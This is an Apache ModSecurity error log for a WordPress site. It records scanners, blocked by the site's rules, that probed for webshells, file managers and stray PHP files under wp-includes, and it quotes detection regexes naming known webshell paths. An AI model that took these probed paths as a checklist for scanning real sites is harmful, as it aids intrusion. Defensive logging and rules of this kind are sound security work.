[Fri Feb 27 02:18:08.903956 2026] [:error] [pid 19020:tid 19043] [client 20.104.124.39:45108] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galex.php"] [unique_id "aaCOYLN3kp7wL6QzPnU7wgAAAVU"]
[Fri Feb 27 02:18:09.813417 2026] [:error] [pid 20059:tid 20115] [client 20.104.124.39:45007] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xb.php"] [unique_id "aaCOYZZBS5wIa_NsqsgumwAAAc0"]
[Fri Feb 27 02:18:11.185072 2026] [:error] [pid 20059:tid 20117] [client 20.104.124.39:45056] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xb.php"] [unique_id "aaCOY5ZBS5wIa_NsqsgurQAAAc8"]
[Fri Feb 27 02:18:12.376176 2026] [:error] [pid 20059:tid 20113] [client 20.104.124.39:45182] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xb.php"] [unique_id "aaCOZJZBS5wIa_NsqsgutgAAAcs"]
[Fri Feb 27 02:18:13.282903 2026] [:error] [pid 19020:tid 19041] [client 20.104.124.39:44967] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xb.php"] [unique_id "aaCOZbN3kp7wL6QzPnU7zgAAAVM"]
[Fri Feb 27 02:18:13.861771 2026] [:error] [pid 19020:tid 19035] [client 20.104.124.39:44937] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ova.php"] [unique_id "aaCOZbN3kp7wL6QzPnU71QAAAU0"]
[Fri Feb 27 02:18:14.995437 2026] [:error] [pid 18818:tid 18908] [client 20.104.124.39:45131] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ova.php"] [unique_id "aaCOZhhPgqk2SeS_W83NeAAAABg"]
[Fri Feb 27 02:18:15.747005 2026] [:error] [pid 18831:tid 18929] [client 20.104.124.39:45183] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ova.php"] [unique_id "aaCOZ_5KHTHUIuWRG2bX_AAAAFA"]
[Fri Feb 27 02:18:16.660791 2026] [:error] [pid 18831:tid 18932] [client 20.104.124.39:45141] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ova.php"] [unique_id "aaCOaP5KHTHUIuWRG2bX_gAAAFM"]
[Fri Feb 27 02:18:17.298643 2026] [:error] [pid 18843:tid 18950] [client 20.104.124.39:45025] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aaCOaSuD2bhSYSowPs0PJgAAAQo"]
[Fri Feb 27 02:18:18.078123 2026] [:error] [pid 18831:tid 18914] [client 20.104.124.39:44984] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aaCOav5KHTHUIuWRG2bYAgAAAEE"]
[Fri Feb 27 02:18:18.914155 2026] [:error] [pid 20059:tid 20115] [client 20.104.124.39:45020] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aaCOapZBS5wIa_Nsqsgu5gAAAc0"]
[Fri Feb 27 02:18:19.838723 2026] [:error] [pid 19020:tid 19026] [client 20.104.124.39:44995] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aaCOa7N3kp7wL6QzPnU7-wAAAUQ"]
[Fri Feb 27 02:18:20.609404 2026] [:error] [pid 18818:tid 18890] [client 20.104.124.39:45153] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aaCObBhPgqk2SeS_W83NfAAAAAY"]
[Fri Feb 27 02:18:21.229510 2026] [:error] [pid 18818:tid 18886] [client 20.104.124.39:45046] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aaCObRhPgqk2SeS_W83NfgAAAAI"]
[Fri Feb 27 02:18:22.379969 2026] [:error] [pid 19020:tid 19036] [client 20.104.124.39:45159] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aaCObrN3kp7wL6QzPnU8CgAAAU4"]
[Fri Feb 27 02:18:23.494745 2026] [:error] [pid 20059:tid 20115] [client 20.104.124.39:45117] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aaCOb5ZBS5wIa_NsqsgvDgAAAc0"]
[Fri Feb 27 02:28:07.132319 2026] [:error] [pid 19020:tid 19027] [client 40.80.89.74:5116] [client 40.80.89.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaCQt7N3kp7wL6QzPnVBDgAAAUU"]
[Fri Feb 27 02:28:07.726586 2026] [:error] [pid 18818:tid 18905] [client 40.80.89.74:5058] [client 40.80.89.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaCQtxhPgqk2SeS_W83PngAAABU"]
[Fri Feb 27 02:28:08.311651 2026] [:error] [pid 18818:tid 18887] [client 40.80.89.74:5080] [client 40.80.89.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaCQuBhPgqk2SeS_W83PnwAAAAM"]
[Fri Feb 27 02:28:08.896520 2026] [:error] [pid 18831:tid 18936] [client 40.80.89.74:5100] [client 40.80.89.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaCQuP5KHTHUIuWRG2baSAAAAFc"]
[Fri Feb 27 03:34:10.514882 2026] [:error] [pid 18843:tid 18959] [client 106.227.49.113:36139] [client 106.227.49.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaCgMiuD2bhSYSowPs0xawAAARM"]
[Fri Feb 27 04:15:09.961529 2026] [:error] [pid 21329:tid 21398] [client 20.43.27.35:24082] [client 20.43.27.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaCpzZvQWnde-MjcQ1E2bgAAAU8"]
[Fri Feb 27 04:15:10.794882 2026] [:error] [pid 5365:tid 5374] [client 20.43.27.35:58571] [client 20.43.27.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaCpzpYAa8J3tYxdG3zWSAAAAQc"]
[Fri Feb 27 04:15:11.636840 2026] [:error] [pid 5365:tid 5376] [client 20.43.27.35:64465] [client 20.43.27.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaCpz5YAa8J3tYxdG3zWTQAAAQk"]
[Fri Feb 27 04:15:12.498888 2026] [:error] [pid 5365:tid 5367] [client 20.43.27.35:64466] [client 20.43.27.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaCp0JYAa8J3tYxdG3zWVQAAAQA"]
[Fri Feb 27 04:27:54.164693 2026] [:error] [pid 4081:tid 4090] [client 173.239.214.2:36167] [client 173.239.214.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aaCsyg55mnr35z8h7t3NNAAAAMc"]
[Fri Feb 27 04:27:55.395252 2026] [:error] [pid 3973:tid 3996] [client 173.239.214.25:27649] [client 173.239.214.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aaCsy4JZsftwqmUaaLPr3wAAAA0"]
[Fri Feb 27 04:27:57.689656 2026] [:error] [pid 21329:tid 21395] [client 185.198.240.142:60239] [client 185.198.240.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aaCszZvQWnde-MjcQ1E_rQAAAUw"]
[Fri Feb 27 04:27:58.942543 2026] [:error] [pid 5365:tid 5368] [client 185.198.240.142:48131] [client 185.198.240.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aaCszpYAa8J3tYxdG3zlxAAAAQE"]
[Fri Feb 27 04:28:01.001603 2026] [:error] [pid 3974:tid 4043] [client 185.198.240.145:64939] [client 185.198.240.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aaCs0Hp-fQtdOYjkuFvKKwAAAEY"]
[Fri Feb 27 04:28:01.867335 2026] [:error] [pid 3973:tid 3995] [client 185.198.240.135:51211] [client 185.198.240.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aaCs0YJZsftwqmUaaLPsCAAAAAw"]
[Fri Feb 27 04:28:02.426900 2026] [:error] [pid 5365:tid 5375] [client 185.198.240.154:32633] [client 185.198.240.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aaCs0pYAa8J3tYxdG3zmeAAAAQg"]
[Fri Feb 27 04:28:02.875221 2026] [:error] [pid 3973:tid 3994] [client 173.239.214.15:49257] [client 173.239.214.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aaCs0oJZsftwqmUaaLPsEAAAAAs"]
[Fri Feb 27 04:28:03.479546 2026] [:error] [pid 3973:tid 4005] [client 173.239.214.25:63015] [client 173.239.214.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aaCs04JZsftwqmUaaLPsFwAAABY"]
[Fri Feb 27 04:28:03.984897 2026] [:error] [pid 3975:tid 4028] [client 209.87.169.175:21423] [client 209.87.169.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aaCs0xMVp0-T2hD76b2t4wAAAJI"]
[Fri Feb 27 04:28:04.780737 2026] [:error] [pid 21329:tid 21397] [client 185.198.240.145:59745] [client 185.198.240.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aaCs1JvQWnde-MjcQ1FAJgAAAU4"]
[Fri Feb 27 04:28:05.897024 2026] [:error] [pid 3975:tid 4022] [client 173.239.214.14:20327] [client 173.239.214.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aaCs1RMVp0-T2hD76b2uBgAAAIw"]
[Fri Feb 27 04:28:06.965100 2026] [:error] [pid 5365:tid 5386] [client 173.239.214.5:60557] [client 173.239.214.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aaCs1pYAa8J3tYxdG3znDgAAARM"]
[Fri Feb 27 04:28:07.719715 2026] [:error] [pid 3973:tid 3996] [client 173.239.214.13:21505] [client 173.239.214.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aaCs14JZsftwqmUaaLPshgAAAA0"]
[Fri Feb 27 04:28:08.545727 2026] [:error] [pid 21329:tid 21398] [client 185.198.240.143:27761] [client 185.198.240.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aaCs2JvQWnde-MjcQ1FAZwAAAU8"]
[Fri Feb 27 04:28:10.501679 2026] [:error] [pid 5365:tid 5375] [client 173.239.214.27:42437] [client 173.239.214.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aaCs2pYAa8J3tYxdG3znWQAAAQg"]
[Fri Feb 27 04:28:11.187464 2026] [:error] [pid 3974:tid 4046] [client 209.87.169.175:21417] [client 209.87.169.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aaCs23p-fQtdOYjkuFvK4QAAAEk"]
[Fri Feb 27 04:28:12.186852 2026] [:error] [pid 21329:tid 21395] [client 173.239.214.16:29053] [client 173.239.214.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aaCs3JvQWnde-MjcQ1FAqwAAAUw"]
[Fri Feb 27 04:28:12.855270 2026] [:error] [pid 4081:tid 4107] [client 173.239.214.4:63191] [client 173.239.214.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aaCs3A55mnr35z8h7t3OIwAAANg"]
[Fri Feb 27 04:28:19.923358 2026] [:error] [pid 3973:tid 3985] [client 173.239.214.16:39909] [client 173.239.214.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aaCs44JZsftwqmUaaLPtggAAAAI"]
[Fri Feb 27 04:28:20.791177 2026] [:error] [pid 5365:tid 5390] [client 173.239.214.19:51653] [client 173.239.214.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aaCs5JYAa8J3tYxdG3zoFAAAARc"]
[Fri Feb 27 04:28:21.547753 2026] [:error] [pid 5365:tid 5390] [client 185.198.240.144:34637] [client 185.198.240.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aaCs5ZYAa8J3tYxdG3zoNAAAARc"]
[Fri Feb 27 04:28:22.028330 2026] [:error] [pid 3975:tid 4031] [client 185.198.240.144:58117] [client 185.198.240.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aaCs5hMVp0-T2hD76b2vBQAAAJQ"]
[Fri Feb 27 04:28:22.601030 2026] [:error] [pid 5365:tid 5382] [client 185.198.240.154:57803] [client 185.198.240.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaCs5pYAa8J3tYxdG3zoYgAAAQ8"]
[Fri Feb 27 04:28:24.060102 2026] [:error] [pid 3973:tid 3991] [client 173.239.214.5:32001] [client 173.239.214.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aaCs6IJZsftwqmUaaLPttwAAAAg"]
[Fri Feb 27 04:28:24.512152 2026] [:error] [pid 5365:tid 5387] [client 185.198.240.141:30675] [client 185.198.240.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aaCs6JYAa8J3tYxdG3zomQAAARQ"]
